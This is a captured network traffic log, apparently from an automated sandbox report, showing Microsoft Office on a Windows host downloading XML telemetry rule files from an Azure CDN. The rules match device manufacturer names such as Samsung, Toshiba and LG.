2024-12-06 14:52:43 UTC	192	OUT	GET /rules/rule120632v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:43 GMT Content-Type: text/xml Content-Length: 471 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:33 GMT ETag: "0x8DC582BB5815C4C" x-ms-request-id: daea1f5e-401e-005b-68d1-459c0c000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145243Z-1746fd949bd9x4mhhC1EWRb76n00000004c000000000eurv x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:44 UTC	471	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120632" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.7	49743	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:43 UTC	192	OUT	GET /rules/rule120634v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:43 GMT Content-Type: text/xml Content-Length: 494 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:38 GMT ETag: "0x8DC582BB8972972" x-ms-request-id: 35aaf9d6-d01e-0065-1fc9-46b77a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145243Z-1746fd949bdb8xvchC1EWRmbd400000004ag00000000agyy x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:44 UTC	494	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 34 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120634" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.7	49742	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:43 UTC	192	OUT	GET /rules/rule120633v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:44 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:43 GMT Content-Type: text/xml Content-Length: 419 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:29 GMT ETag: "0x8DC582BB32BB5CB" x-ms-request-id: cb476353-401e-0029-7779-479b43000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145243Z-1746fd949bd9rf4qhC1EWRgypw000000011g0000000029v3 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:44 UTC	419	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 53 73 5d 5b 41 61 5d 5b 4d 6d 5d 5b 53 73 5d 5b 55 75 5d 5b 4e 6e 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120633" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120631" /> <SR T="2" R="([Ss][Aa][Mm][Ss][Uu][Nn][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O=

Session ID	Source IP	Source Port	Destination IP	Destination Port
31	192.168.2.7	49747	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:45 UTC	192	OUT	GET /rules/rule120635v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:45 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:45 GMT Content-Type: text/xml Content-Length: 420 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:53 GMT ETag: "0x8DC582B9DAE3EC0" x-ms-request-id: 4ad2c26b-f01e-001f-3a79-475dc8000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145245Z-1746fd949bdwt8wrhC1EWRu6rg00000004e000000000m41z x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:45 UTC	420	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 35 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 33 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 54 74 5d 5b 4f 6f 5d 5b 53 73 5d 5b 48 68 5d 5b 49 69 5d 5b 42 62 5d 5b 41 61 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120635" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120633" /> <SR T="2" R="^([Tt][Oo][Ss][Hh][Ii][Bb][Aa])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O

Session ID	Source IP	Source Port	Destination IP	Destination Port
32	192.168.2.7	49749	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:45 UTC	192	OUT	GET /rules/rule120636v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:46 GMT Content-Type: text/xml Content-Length: 472 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:52 GMT ETag: "0x8DC582B9D43097E" x-ms-request-id: 4626c155-d01e-0017-0ecc-45b035000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145246Z-1746fd949bdkw94lhC1EWRxuz400000004d000000000pyyd x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:46 UTC	472	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 36 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120636" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
33	192.168.2.7	49750	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:45 UTC	192	OUT	GET /rules/rule120637v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:46 GMT Content-Type: text/xml Content-Length: 427 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:12 GMT ETag: "0x8DC582BA909FA21" x-ms-request-id: ddae3c3f-c01e-008d-3acb-452eec000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145246Z-1746fd949bd6zq92hC1EWRry4800000004cg000000005esb x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:46 UTC	427	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 37 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 35 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 50 70 5d 5b 41 61 5d 5b 4e 6e 5d 5b 41 61 5d 5b 53 73 5d 5b 4f 6f 5d 5b 4e 6e 5d 5b 49 69 5d 5b 43 63 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120637" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120635" /> <SR T="2" R="([Pp][Aa][Nn][Aa][Ss][Oo][Nn][Ii][Cc])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W"

Session ID	Source IP	Source Port	Destination IP	Destination Port
34	192.168.2.7	49751	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:45 UTC	192	OUT	GET /rules/rule120638v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:46 GMT Content-Type: text/xml Content-Length: 486 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:35 GMT ETag: "0x8DC582B92FCB436" x-ms-request-id: 85a33a74-901e-005b-1ccd-452005000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145246Z-1746fd949bd4w8sthC1EWR7004000000043g00000000d6nt x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:46 UTC	486	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 38 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120638" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
35	192.168.2.7	49752	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:45 UTC	192	OUT	GET /rules/rule120639v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:46 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:46 GMT Content-Type: text/xml Content-Length: 423 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:36 GMT ETag: "0x8DC582BB7564CE8" x-ms-request-id: 8da67b63-c01e-0034-2ecb-452af6000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145246Z-1746fd949bd77mkmhC1EWR5efc00000004n000000000dmvm x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:46 UTC	423	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 33 39 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 37 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 28 5b 44 64 5d 5b 59 79 5d 5b 4e 6e 5d 5b 41 61 5d 5b 42 62 5d 5b 4f 6f 5d 5b 4f 6f 5d 5b 4b 6b 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120639" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120637" /> <SR T="2" R="([Dd][Yy][Nn][Aa][Bb][Oo][Oo][Kk])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0

Session ID	Source IP	Source Port	Destination IP	Destination Port
36	192.168.2.7	49756	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:47 UTC	192	OUT	GET /rules/rule120640v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:47 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:47 GMT Content-Type: text/xml Content-Length: 478 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:48 GMT ETag: "0x8DC582B9B233827" x-ms-request-id: 9009c19b-701e-0053-74c6-453a0a000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145247Z-1746fd949bdb8xvchC1EWRmbd4000000049g00000000dpne x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:47 UTC	478	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 30 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120640" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
37	192.168.2.7	49758	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:47 UTC	192	OUT	GET /rules/rule120641v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:48 GMT Content-Type: text/xml Content-Length: 404 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:25:39 GMT ETag: "0x8DC582B95C61A3C" x-ms-request-id: 7eb0f396-d01e-0066-0ac6-45ea17000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145248Z-1746fd949bd2cq7chC1EWRnx9g000000040000000000bgca x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:48 UTC	404	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 31 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 33 39 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4d 6d 5d 5b 53 73 5d 5b 49 69 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120641" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120639" /> <SR T="2" R="^([Mm][Ss][Ii])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S

Session ID	Source IP	Source Port	Destination IP	Destination Port
38	192.168.2.7	49759	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:48 UTC	192	OUT	GET /rules/rule120642v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:48 GMT Content-Type: text/xml Content-Length: 468 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:24 GMT ETag: "0x8DC582BB046B576" x-ms-request-id: 4ebe80de-801e-0047-51c8-457265000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145248Z-1746fd949bd7wvgbhC1EWR0rgs00000004b000000000mqy4 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:48 UTC	468	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 32 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 54 48 20 54 3d 22 32 22 3e 0d 0a 20 20 20 20 20 20 3c 4f 20 54 3d 22 45 51 22 3e 0d 0a 20 20 20 20 20 20 20 20 3c 4c 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 3c 55 20 54 3d 22 45 71 75 61 6c 73 4e 75 6c 6c 22 3e 0d 0a 20 20 20 20 20 20 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 30 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 20 20 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120642" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <TH T="2"> <O T="EQ"> <L> <U T="EqualsNull"> <S T="1" F="0" M="Ignore" />

Session ID	Source IP	Source Port	Destination IP	Destination Port
39	192.168.2.7	49761	13.107.246.63	443

Timestamp	Bytes transferred	Direction	Data
2024-12-06 14:52:48 UTC	192	OUT	GET /rules/rule120643v0s19.xml HTTP/1.1 Connection: Keep-Alive Accept-Encoding: gzip User-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro) Host: otelrules.azureedge.net
2024-12-06 14:52:48 UTC	470	IN	HTTP/1.1 200 OK Date: Fri, 06 Dec 2024 14:52:48 GMT Content-Type: text/xml Content-Length: 400 Connection: close Cache-Control: public, max-age=604800, immutable Last-Modified: Tue, 09 Apr 2024 00:26:28 GMT ETag: "0x8DC582BB2D62837" x-ms-request-id: 00b51f18-a01e-000d-6fcc-45d1ea000000 x-ms-version: 2018-03-28 x-azure-ref: 20241206T145248Z-1746fd949bd9x4mhhC1EWRb76n00000004eg000000008388 x-fd-int-roxy-purgeid: 0 X-Cache: TCP_HIT Accept-Ranges: bytes
2024-12-06 14:52:48 UTC	400	IN	Data Raw: ef bb bf 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 65 6e 63 6f 64 69 6e 67 3d 22 75 74 66 2d 38 22 3f 3e 0d 0a 3c 52 20 49 64 3d 22 31 32 30 36 34 33 22 20 56 3d 22 30 22 20 44 43 3d 22 53 4d 22 20 54 3d 22 53 75 62 72 75 6c 65 22 20 78 6d 6c 6e 73 3d 22 22 3e 0d 0a 20 20 3c 53 3e 0d 0a 20 20 20 20 3c 52 20 54 3d 22 31 22 20 52 3d 22 31 32 30 36 34 31 22 20 2f 3e 0d 0a 20 20 20 20 3c 53 52 20 54 3d 22 32 22 20 52 3d 22 5e 28 5b 4c 6c 5d 5b 47 67 5d 29 22 3e 0d 0a 20 20 20 20 20 20 3c 53 20 54 3d 22 31 22 20 46 3d 22 31 22 20 4d 3d 22 49 67 6e 6f 72 65 22 20 2f 3e 0d 0a 20 20 20 20 3c 2f 53 52 3e 0d 0a 20 20 3c 2f 53 3e 0d 0a 20 20 3c 43 20 54 3d 22 57 22 20 49 3d 22 30 22 20 4f 3d 22 74 72 75 65 22 3e 0d 0a 20 20 20 20 3c 53 20 54 3d 22 Data Ascii: <?xml version="1.0" encoding="utf-8"?><R Id="120643" V="0" DC="SM" T="Subrule" xmlns=""> <S> <R T="1" R="120641" /> <SR T="2" R="^([Ll][Gg])"> <S T="1" F="1" M="Ignore" /> </SR> </S> <C T="W" I="0" O="true"> <S 